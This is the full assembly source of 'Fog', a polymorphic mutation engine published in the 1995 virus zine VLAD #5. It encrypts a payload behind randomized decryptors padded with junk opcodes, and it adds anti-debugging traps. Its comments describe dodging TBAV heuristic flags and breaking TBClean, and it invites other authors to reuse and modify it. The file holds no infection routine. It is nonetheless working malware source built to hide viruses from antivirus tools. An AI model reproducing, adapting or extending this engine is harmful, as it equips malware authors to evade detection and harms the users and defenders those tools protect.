
Virus Labs & Distribution
VLAD #5 - Fog.asm
;��������������������������������������������������������������
title Fog - the funky opcode generator
subttl 1.0.01 Released June 1995
;��������������������������������������������������������������
.radix 16
ideal
segment code word
assume cs : code, ds : code, es : code, ss : code
public fog_init, fog, rnd
fogsize = end_fog
include "switches.inc"
; internal switches - used only by fog:
;��������������������������������������������������������������
sw_nojmps equ 00000001b
sw_displ equ 00000010b
sw_directn equ 00000100b
sw_int4 equ 00001000b ; unused
sw_int5 equ 00010000b ; unused
sw_int6 equ 00100000b ; unused
sw_int7 equ 01000000b ; unused
sw_int8 equ 10000000b ; unused
; internal data structure
;��������������������������������������������������������������
struc datstruc
code_buffer dw 0 ;code buffer
code_ip dw 0 ;code offset
code_length dw 0 ;code length
dec_offset dw 0 ;offset in decryptor
encr_key dw 0 ;encryption key
gb_switches db 0 ;switches
dh_switches db 0 ;
gn_switches db 0 ;
in_switches db 0 ;
count_reg db 0 ;counter reg
base_reg db 0 ;base reg
key_reg db 0 ;key reg
rolls db 0 ;rolls on key
keypos dw 0 ;pos in decryptor of the key
lastjmp dw 0 ;last unupdated jmp
displ dw 0 ;displacement
; What to put in ah on dos calls.
; None of these change any registers except AX.
;��������������������������������������������������������������
i_table db 61, 1dh, 1eh, 20, 2eh, 45, 4dh
; One byte junk instruction table.
; It is possible to expand the engine by replacing the number 1fh
; in the random function of flow_controller by 3fh (or 7f, ff),
; increasing the indexing capability. Then you can add as many new
; junk generating routines as you find appropriate. This will add lots
; to the size of the engine, because you will have to add many new
; one-byte intructions and junk routines to fill the increased index space.
;��������������������������������������������������������������
onebytes db 90 ;nop This nop could be replaced
db 90 ;nop as could this (possibly 0d6h?)
db 40 ;inc ax
db 48 ;dec ax
db 90 ;nop
db 98 ;cbw
db 9bh ;wait
db 9eh ;sahf
db 9fh ;lahf
break db 0cch ;int 3
db 0ech ;in al, dx
db 0edh ;in ax, dx
db 0d7h ;xlat
db 0f5h ;cmc
db 0fch ;cld
db 0fdh ;std
db 0f8h ;clc
db 0f9h ;stc
ends datstruc
; NB: The one byte instructions of aaa, aas, daa, das generate tbav @ flags
; and have not been included in the one-byte table.
; The d6 instruction, which is undefined in the 80X86 instruction set, could've
; been used, as it seems to have no effect. However, it generates tbav ! flags,
; which together with the G flag causes tbav alert. If you should decide to use
; it, it would effectively kill any tbclean attempt - making tbclean croak with
; an "invalid opcode" message.
; Register encoding definitions for internal use
;��������������������������������������������������������������
rax equ 00
rbx equ 03
rcx equ 01
rdx equ 02
rsp equ 04
rbp equ 05
rsi equ 06
rdi equ 07
cryptinstr equ 0fh ;Amount of crypt instructions
;to use
cryptobuf equ ( cryptinstr ) * 3 ;crypto buffer
buffer_offs equ ( offset buffer - offset i_data )
;absolute offset to buffer
roll_offs equ ( offset rollit - offset i_data ) + 1
;absolute offset to roll instr.
;when decrementing decryptor,
;the rol has to be changed into
;a ror
id equ ( datstruc ptr bx ) ;just simplifying things some
;��������������������������������������������������������������
begin_fog:
; FOG label
db '[Fog 1.0]'
;��������������������������������������������������������������
; MAIN PUBLIC ROUTINES
;��������������������������������������������������������������
; Initialise fog
proc fog_init
push ax bx ds
call set_base ;set ds:bx -> cs:i_data
mov [ word id . gb_switches ], ax ;������Ŀ
mov [ word id . gn_switches ], cx ; �
mov [ id . code_buffer ], dx ; �� fill values into
mov [ id . code_length ], si ; � internal data area
mov [ id . code_ip ], di ; �
mov [ id . break ], 0cch ;��������
test [ id . gn_switches ], sw_r_garb ;�Ŀ
jz @@1 ; �
call rnd_07 ; �
mov al, 0ffh ; �� randomise junk
shr al, cl ; �
mov [ id . gb_switches ], al ; �
@@1: ;��������
test [ id . gn_switches ], sw_r_host ;�Ŀ
jz @@2 ; �
call rnd_ff ; �� randomise hostility
mov [ id . dh_switches ], al ; �
@@2: ;��������
call max_codesize ; return max mem used
pop ds bx ax
ret ;return: fog data area filled with
;necessary constants
endp fog_init
;��������������������������������������������������������������
; --====--
;��������������������������������������������������������������
; Encrypt code and add decryptor, store all in es:0 ->
proc fog
push ax bx si di bp ;save regs
call set_base ;set bx at data struc
mov [ id . dec_offset ], bp ;set offset to use in decryptor
restart:
mov al, 90 ;������Ŀ
mov cx, cryptobuf ; �
mov si, bx ; �
nextnop: ; �� init crypto buffer
mov [ si + buffer_offs ], al ; �
inc si ; �
loop nextnop ;��������
test [ id . dh_switches ], sw_int3 ;���Ŀ
jnz genint3 ; �� don't use int 3's
mov [ id . break ], al ; � replace CC with 90
genint3: ;��������
;������Ŀ
call rnd_ax ; �
add [ id . encr_key ], ax ; �� randomise key
rol ax, cl ; �
add [ id . encr_key ], ax ;��������
and [ id . in_switches ], not sw_directn ;
mov [ byte bx + roll_offs ], 0c2h ; �
call rnd_z ; �
jz up ; �� randomise up/down
or [ id . in_switches ], sw_directn ; � if down, invert
mov [ byte bx + roll_offs ], 0cah ; � rol -> ror
up: ;��������
xor di, di ;set buffer offset = 0
and [ id . gn_switches ], not sw_displ;�
mov ax, di ; �
jz n_disp ; �
or [ id . in_switches ], sw_displ; �� randomise displ.
call rnd_ax ; �
n_disp: ; �
mov [ id . displ ], ax ;��������
test [ id . dh_switches ], not sw_debug;�
jnz nodebug ; �� if debug,
mov [ id . encr_key ], di ; � zero key
nodebug: ;��������
mov [ word id . count_reg ], di ;������Ŀ
mov [ word id . key_reg ], di ; �� zero regs
mov [ word id . keypos ], di ;��������
call reg_init_strategy ;������Ŀ
call reg_init_strategy ; �� determine regs
call reg_init_strategy ;��������
push bp
mov bp, di ;store loopback offset
; below : crypto instruction
; generation loop
mov cl, cryptinstr ;����������������������Ŀ
call rnd ; �
mov si, cryptobuf ; �
new_func: ; �
push cx ; �
call junk ; junk �
dec si ; �
dec si ; �
; �
call rnd_03 ; �
; �
loop addfunc ;������Ŀ �
subfunc: ; �� sub �
mov dx, 2903h ; � �
addfunc: ;������Ĵ �
loop xorfunc ; �� add �
mov dx, 012bh ; � �
xorfunc: ;������Ĵ �
loop det_func ; �� xor �
mov dx, 3133h ; � �
det_func: ;�������� �
; �
call getseg ;cs:/ds:/es:/ss: �
; �
call rnd_z ; �
jnz immediate_keys ; �
; �
;������Ŀ �
mov ah, dh ; � �
stosw ; � �
mov al, [ id . key_reg ] ; � �
mov cl, 3 ; �� register �
shl al, cl ; � keyed �
call xlatreg ; � �
mov dh, 0c2h ; � �
mov [ bx + si + buffer_offs ], dx ; � �
jmp short @@1 ;������Ĵ �
; � �
; � �
immediate_keys: ; � �
dec si ; � �
and dh, 0feh ; � �
add dl, 02 ; � �
mov ah, 81 ; � �
stosw ; �� immediate �
mov al, dh ; � keyed �
call xlatreg ; � �
call rnd_ax ; � �
test [ id . dh_switches ], not sw_debug;� �
jnz n_debug ; � �
xor ax, ax ; � �
n_debug: ; � �
stosw ; � �
mov [ bx + si + buffer_offs ], dl ; � �
mov [ bx + si + buffer_offs + 1], ax ; � �
@@1: ;�������� �
pop cx ; �
loop new_func ;������������������������ �
call junk ;add junk
call rnd_z ;������Ŀ
jz no_roll ; �
call rnd_07 ; �
mov [ id . rolls ], cl ; �
mov ax, 0c0d1h ; �
or ah, [ id . key_reg ] ; �� randomise and
new_roll: ; � add rol's
stosw ; �
call junk ; junk �
loop new_roll ; �
no_roll: ;��������
call computepos ;increment base position
call junk ;add junk
lea ax, [ bx + (offset jmps_finished - offset i_data) ]
push ax ;for people who might not
;understand what I do here:
;I push the address of
;jmps_finished onto the stack,
;so that following ret's
;will bring me there.
mov al, [ id . count_reg ]
or al, 48 ;dec count
stosb
call rnd_03 ;randomise
lea dx, [ bp - 1 ] ;backward jump strategies.
sub dx, di
cmp dx, 0ff80h ;can't use short jmps
jbe jmp_strategy3 ;if decryptor too long
loop jmp_strategy3
cmp [ id . count_reg ], rcx ; is CX count reg?
jnz jmp_strategy2
call rnd_z ; if so, we might use loop
jz jmp_strategy2 ; but only randomly so
jmp_strategy1: ;������Ŀ
dec di ; �
mov ah, dl ; �� loop back
mov al, 0e2 ; �
ret ; �
;������Ĵ
jmp_strategy2: ; �
dec dx ; �
mov ah, dl ; �� jnz back
mov al, 75 ; �
ret ; �
;������Ĵ
jmp_strategy3: ; �
loop jmp_strategy4 ; �
longjmp: ; �
mov ax, 0374 ; �
stosw ; �� jz $+3
mov al, 0e9 ; � jmp back
stosb ; �
lea ax, [ bp - 2 ] ; �
sub ax, di ; �
ret ; �
;������Ĵ
jmp_strategy4: ; �
mov ax, 0574 ; �
stosw ; �
call find_reg ; �
push ax ; �
or al, 0b8h ; �� jz $+5
stosb ; � mov reg, offs back
mov ax, bp ; � push reg
add ax, [ id . dec_offset ] ; � ret
stosw ; �
pop ax ; �
or ax, 0c350 ; �
ret ;��������
jmps_finished:
stosw
call junk ;add junk
test [ id . in_switches ], sw_directn ;Ŀ
jz n_prefetch_buf ; �
mov ax, 00ebh ; �� clear prefetch queue
stosw ; �
n_prefetch_buf: ;��������
mov ax, 0e990
mov dx, [ id . encr_key ] ;put encryption key in dx
mov bp, di ;������Ŀ
call scramble_word ; �
stosw ; �� crypt jmp to
mov ax, [ id . code_ip ] ; � code offset
call scramble_word ; �
stosw ;��������
mov ax, [ id . code_length ] ;������Ŀ
shr ax, 1 ; �� div code length
inc ax ; � by key length
mov cx, ax ;��������
mov si, [ id . code_buffer ] ;where to get data to crypt
newword: ;������Ŀ
lodsw ; �
call scramble_word ; �� encrypt
stosw ; �
loop newword ;��������
test [ id . in_switches ], sw_directn ;Ŀ
jz n_adjust ; �
lea bp, [ di - 2 ] ; �
mov si, [ id . keypos ] ; �� if down decryptor
mov cl, [ id . rolls ] ; � encr. key has to be
rol dx, cl ; � adjusted because
mov [ es : si ], dx ; � of the rol's
n_adjust: ;��������
pop si
add bp, [ id . dec_offset ]
add [ es : si ], bp ;adjust start of decrypt
test [ id . dh_switches ], not sw_debug;�
jz all_ok ; �
push ax ; �
call scramble_word ; �
pop cx ; �� if not debug, test
cmp ax, cx ; � if decryptor
jnz all_ok ; � really encrypts
jmp restart ; � if not, restart
all_ok: ;��������
test [ id . gn_switches ], sw_const_s;�Ŀ
jz nostatic ; �
push ax ; �
call max_codesize ; �
pop ax ; �� if constant size,
sub cx, di ; � pad up to max
jbe nostatic ; � codesize
rep stosb ; �
nostatic: ;��������
mov cx, di
add cx, [ id . dec_offset ]
neg cx
test [ id . gn_switches ], sw_align256;Ŀ
jz test16 ; �� 256 byte alignment?
and cx, 0ffh ; �
jnz pad ;��������
test16: ;������Ŀ
test [ id . gn_switches ], sw_align16 �
jz nopad ; �� 16 byte alignment?
and cx, 0f ; �
jz nopad ;��������
pad:
rep stosb ;do the padding
nopad:
mov cx, di ;set cx = bytes crypted
push es ;set ds:dx = crypted code
pop ds
xor dx, dx
pop bp di si bx ax ;restore regs
ret
;RETURN: Encrypted and mutated code in ES:DI = DS:DX = DS:0
; Number of bytes in CX
endp fog
;��������������������������������������������������������������
; Get random (almost) number from timer
proc rnd
push bx
mov bx, ax
mov bh, bl
mov ch, 0
in ax, 40h
and ax, cx
push cx
xchg ax, cx
in ax, 40h
add ax, bx
ror ax, cl
pop cx
and ax, cx
jnz @@1
inc ax
@@1:
pop bx
mov cl, al
ret ;return: AL/CL = rnd (1..CL)
endp rnd
;��������������������������������������������������������������
; ENCRYPTOR/DECRYPTOR LOGISTICS
;��������������������������������������������������������������
; Set base (bx) at internal data struc
proc set_base
call myip
myip:
pop bx
sub bx, myip - i_data
push cs
pop ds
ret ;return: BX pointing at i_data
endp set_base
;��������������������������������������������������������������
; Check that requested register (in al) is unused
proc reg_used
cmp al, [ id . key_reg ] ;key register
jz @@1
cmp al, [ id . count_reg ] ;counter register
jz @@1
cmp al, [ id . base_reg ] ;base register
jz @@1
cmp al, rsp ;SP, not to be used
@@1:
ret ;return : Z if reg is used
endp reg_used
;��������������������������������������������������������������
; Find unused register
proc find_reg
call rnd_07
call reg_used
jz find_reg
mov dl, al
ret ;return: unused register in AL and DL
endp find_reg
;��������������������������������������������������������������
; Rand 1-3
proc rnd_03
mov cl, 03h
call rnd
ret ;return: AL/CL = rnd (1..3)
endp rnd_03
;��������������������������������������������������������������
; Rand 1-7
proc rnd_07
mov cl, 07h
call rnd
ret ;return: AL/CL = rnd (1..7)
endp rnd_07
;��������������������������������������������������������������
; Rand 1-255
proc rnd_ff
mov cl, 0ffh
call rnd
ret ;return: AL/CL = rnd (1..255)
endp rnd_ff
;��������������������������������������������������������������
; A random Yes/No function
proc rnd_z
push ax cx
call rnd_ff
test al, 01h
pop cx ax
ret ;return: rnd Z/NZ
endp rnd_z
;��������������������������������������������������������������
; Translate register values into valid instruction
proc xlatreg
?si:
or al, 04
cmp [ id . base_reg ], rsi
jz @@2
?di:
or al, 05
cmp [ id . base_reg ], rdi
jz @@2
or al, 07
@@2:
test [ id . in_switches ], sw_displ
jz @@3 ;displacement?
or al, 80h
stosb
mov ax, [ id . displ ]
stosw
ret
@@3:
stosb
ret ;return: Valid instruction
;in decryptor
endp xlatreg
;��������������������������������������������������������������
; Encrypt word in ax
proc scramble_word
push cx
buffer:
db cryptobuf dup (90)
mov cl, [ id . rolls ]
rollit:
rol dx, cl
pop cx
ret ;return: AX crypted by
;whatever. Fog modifies
;itself randomly here, and
;creates mundo
;different encryptors.
endp scramble_word
;��������������������������������������������������������������
; Position updating strategies
proc computepos
call rnd_z
jz @@3
mov al, 83
stosb
call rnd_z
mov ax, 02c0 ;strategy 1/2 : add reg, 2/-2
jz @@1
mov ax, 0fee8 ;strategy 3/4 : sub reg, 2/-2
@@1:
test [ id . in_switches ], sw_directn
jz @@2
neg ah ;decrementing decryptor
@@2: ;incrementing decryptor
or al, [ id . base_reg ]
sword:
stosw
ret
@@3:
mov al, 40 ;strategy 5 : inc reg inc reg
test [ id . in_switches ], sw_directn
jz @@4
or al, 08 ;strategy 6 : dec reg dec reg
@@4:
or al, [ id . base_reg ]
stosb ;add pos instr
call junk ;add junk
sbyte:
stosb ;add pos instr
ret ;
;return: Updates the base register in the decryptor
endp computepos
;��������������������������������������������������������������
; Get segment override prefix
proc getseg
test [ id . gn_switches ], sw_exefile
jz use_all
mov al, 2eh
ret
use_all:
call rnd_ff
and al, 3eh
or al, 26h
ret
;return : random 2eh/3eh/26h/36h: (CS:/DS:/ES:/SS:) in AL
;if EXE only CS: will be returned
endp getseg
;��������������������������������������������������������������
; Compute maximum code length
proc max_codesize
mov al, [ id . gb_switches ]
xor ah, ah
mov cx, ((0dh+cryptinstr)*3)/2 ;garb. calls times 1.5 bytes avg
mul cx ;times max no. of junk instr.
add ax, 9 + (cryptinstr*7) + 7*2 + 3 + 8 + 2 + 4
add ax, [ id . code_length ]
xchg ax, cx
ret ;return: max encrypted size in CX
endp max_codesize
;��������������������������������������������������������������
; Pick regs to use in vital instructions
proc reg_init_strategy
call junk
reg_init_strategy_:
call find_reg
call rnd_03
loop cntfunc
cmp [ id . base_reg ], ch
jnz cntfunc_
posfunc: ;can only use bx, si or di
mov al, dl
cmp al, rbx
jz regok
cmp al, rsi
jz regok
cmp al, rdi
jz regok
call find_reg
jmp short posfunc
regok:
mov [ id . base_reg ], al
or al, 0b8
stosb
mov bp, di
xor ax, ax
sub ax, [ id . displ ]
stosw
ret
cntfunc:
loop keyfunc
cntfunc_:
cmp [ id . count_reg ], ch
jnz keyfunc
mov al, dl
mov [ id . count_reg ], al
or al, 0b8
stosb
mov ax, [ id . code_length ]
shr ax, 1
add ax, 3
stosw
ret
keyfunc:
cmp [ id . key_reg ], ch
jnz reg_init_strategy_
mov al, dl
mov [ id . key_reg ], al
or al, 0b8
stosb
mov ax, [ id . encr_key ]
mov [ id . keypos ], di
stosw
ret
;return: random register chosen and put in base_reg, count_reg or key_reg
endp reg_init_strategy
;��������������������������������������������������������������
; JUNK ROUTINE
;��������������������������������������������������������������
; 017 : Flow controller - Fork junk code generation in different directions
; Model: 1. Get random no. in CX
; 2. loop r2
; routine no1
; ret
; r2:
; loop r3
; routine no2
; ret
; r3:
; loop r4
; ......
; end of routines.
;
; 3. The number in CX can be higher than
; the amount of generation routines.
; If so, whatever left in CX is used
; as index into one-byte instruction
; table.
;
; 4. To add another routine:
; Make a routine creating an instruction
; subgroup. It should be on the form:
;
; rx1:
; loop rx2
; generation routine
; ret
; rx2:
;
;
; !NB Remember all these routines return to either sword
; (stosw) or sbyte (stosb).
;
; After adding the routine, remove one of the one-byte
; instructions in the one-byte table, pref. one of the
; extra nops. The new routine has now taken its place in
; the index space.
;
; The rules for junk instructions in the decryptor are:
;
; 1. They must not change registers that are used for
; the functionality of the decryptor. You can check for
; this at any time by putting register no. in al and
; call reg_used, returning Z if used, or simply call
; find_reg, which will return an unused register in al.
;
; 2. AX can always be changed
;
; 3. SP must never be changed.
;
;
proc flow_controller
mov cl, 1fh
call rnd
lea ax, [ bx + (offset sword - offset i_data) ]
push ax ;return to sword
s1: ;������Ŀ
loop s2 ; �
call find_reg ; �
call rnd_ax ; �
and ax, 073bh ; �� and/add/adc/
or ax, 0c003h ; � sub/sbb/cmp/
mov cl, 3 ; � xor/or reg, reg
shl dl, cl ; �
or ah, dl ; �
ret ; �
;������Ĵ
s2: ; �
loop s3 ; �
call rnd_ax ; �� and/add/adc/
and al, 03ch ; � sub/sbb/cmp/
or al, 04 ; � xor/or al, imm byte
ret ; �
;������Ĵ
s3: ; �
loop s4 ; �
mov cl, 3fh ; �
call rnd ; �
and al, 3dh ; �
or al, 05h ; �
stosb ; �� and/add/adc/
rnd_ax: ; � sub/sbb/cmp/
call rnd_ff ; � xor/or ax, imm word
mov dh, al ; �
call rnd_ff ; �
mov ah, dh ; �
ret ; �
;������Ĵ
s4: ; �
loop s5 ; �
call find_reg ; �
cmp al, rbx ; �
ja s5_ ; �� mov reg, imm byte
or dl, 0b0 ; �
call rnd_ax ; �
mov al, dl ; �
ret ; �
;������Ĵ
s5: ; �
loop s6 ; �
s5_: ; �
call find_reg ; �� mov reg, imm word
or al, 0b8 ; �
stosb ; �
call rnd_ax ; �
ret ; �
;������Ĵ
s6: ; �
loop s7 ; �
call find_reg ; �
call rnd_07 ; �� push reg, pop reg
mov ah, dl ; �
or ax, 5850 ; �
ret ; �
;������Ĵ
s7: ; �
loop s8 ; �
test [ id . in_switches ], sw_nojmps; �
jnz s5_ ; �
mov [ id . lastjmp ], di ; �
or [ id . in_switches ], sw_nojmps; �
call rnd_ff ; �
call rnd_z ; �� jmp short/
jz conditional ; � jmp on condition
mov al, 0ebh ; �
ret ; �
conditional: ; �
and al, 0fh ; �
or al, 70 ; �
ret ; �
;������Ĵ
s8: ; �
loop s9 ; �
test [ id . dh_switches ], sw_use_ints; �
jz s9_ ; �
call rnd_07 ; �
add al, (offset i_data.i_table - offset i_data)-1; �� mov ah, imm byte
xlat ; � int 21
mov ah, al ; �
mov al, 0b4h ; �
stosw ; �
mov ax, 21cdh ; �
ret ; �
;������Ĵ
s9: ; �
loop s10 ; �
s9_: ; �
call find_reg ; �
call rnd_z ; �
jnz n_prefix ; �
call getseg ; �
stosb ; �
n_prefix: ; �
call rnd_07 ; �
cmp al, dl ; �
jnz n_equal ; �
dec ax ; �
n_equal: ; �
mov cl, 3 ; �� mov reg, reg/
shl dl, cl ; � mov reg, [m16]
or dl, al ; �
mov ah, dl ; �
or ah, 0c0 ; �
mov al, 8bh ; �
call rnd_z ; �
jz nodisp ; �
or ah, 06 ; �
and ah, 03eh ; �
stosw ; �
call rnd_ax ; �
dec ax ; �
jnc nodisp ; �
dec ax ; �
nodisp: ; �
ret ; �
;������Ĵ
s10: ; �
loop s11 ; �
test [ id . dh_switches ], sw_prefetch; �
jz s9_ ; �
call getseg ; �
stosb ; �
mov dx, 06c7h ; �
mov ax, dx ; �
stosw ; �
lea ax, [ di + 4 ] ; �
add ax, [ id . dec_offset ] ; �� prefetch trap
push ax ; �
stosw ; �
mov ax, 020cdh ; �
stosw ; �
call getseg ; �
stosb ; �
mov ax, dx ; �
stosw ; �
pop ax ; �
stosw ; �
mov ax, 0c72e ; �
ret ; �
;������Ĵ
s11: ; �
loop s12 ; �
call find_reg ; �
call rnd_ax ; �� rol/ror/rcr/rcl
and ax, 0d8d3h ; � reg, 1/cl
or ax, 0c0d1h ; �
or ah, dl ; �
ret ; �
;������Ĵ
s12: ; .
pop ax ; .
lea ax, [ bx + (offset sbyte - offset i_data) ]; . Return to sbyte
push ax ; .
; .
loop s13 ; �
call find_reg ; �� xchg ax, reg
or al, 90 ; �
ret ; �
;������Ĵ
s13: ; �
loop store_one ; �
call find_reg ; �
call rnd_ff ; �� dec/inc reg
and al, 08h ; �
or al, dl ; �
or al, 40 ; �
ret ; �
;������Ĵ
store_one: ; �
mov ax, cx ; �� look up one byte
add al, (offset i_data.onebytes - offset i_data)-1;� instruction in table
xlat ; �
ret ;��������
endp flow_controller
;��������������������������������������������������������������
; Junk instructions
proc junk
push ax cx si
mov cl, [ id . gb_switches ] ;cl==configured amount of
test cl, sw_001_gi ;junk
jz @@1
and [ id . in_switches ], not sw_nojmps
or [ id . lastjmp ], -1 ;prime for jmp generation
call rnd ;al/cl = [1..cl]
new_instr: ;����������������������Ŀ
;������Ŀ �
cmp cl, 3 ; � �
ja @@2 ; � �
or [ id . in_switches ], sw_nojmps; � �
@@2: ; � �
; � �
mov si, [ id . lastjmp ] ; � �
inc si ; � �
jz @@5 ; � �
lea ax, [ di - 1 ] ; � �
sub ax, si ; � �
; � �
or al, al ; � �
jz @@5 ; �� logistics �
cmp ax, 007fh ; � dealing with �
ja @@5 ; � the junk �
cmp al, 70h ; � jmps and how �� junk
ja @@3 ; � they are � loop
cmp cl, 3 ; � updated to �
jbe @@4 ; � show a proper�
call rnd_z ; � offset. �
jnz @@5 ; � �
@@3: ; � �
and [ id . in_switches ],not sw_nojmps;� �
@@4: ; � �
mov [ es : si ], al ; � �
@@5: ;�������� �
; �
; �
push cx ; �
call flow_controller ;gen. 1 junk instr. �
pop cx ; �
; �
loop new_instr ;������������������������
@@1:
pop si cx ax
ret ;return: random amount (between 0 and
;the configured max number) of junk
;instr. in decryptor
endp junk
;��������������������������������������������������������������
; Data work area
i_data datstruc <>
end_fog = $+1
ends code
end
;��������������������������������������������������������������
;
; Feel free to modify this code in any way possible, as this
; will add an extra level of mutation. However, please don't
; use the name FOG on any modified versions. And; look out for
; fog 2.0 coming soon to a zine near you.
;
; Eclipse, Queensland, June 1995
;
;
;
;��������������������������������������������������������������
- VLAD #5 INDEX -
About VLAD -
Links -
Contact Us -
Main
|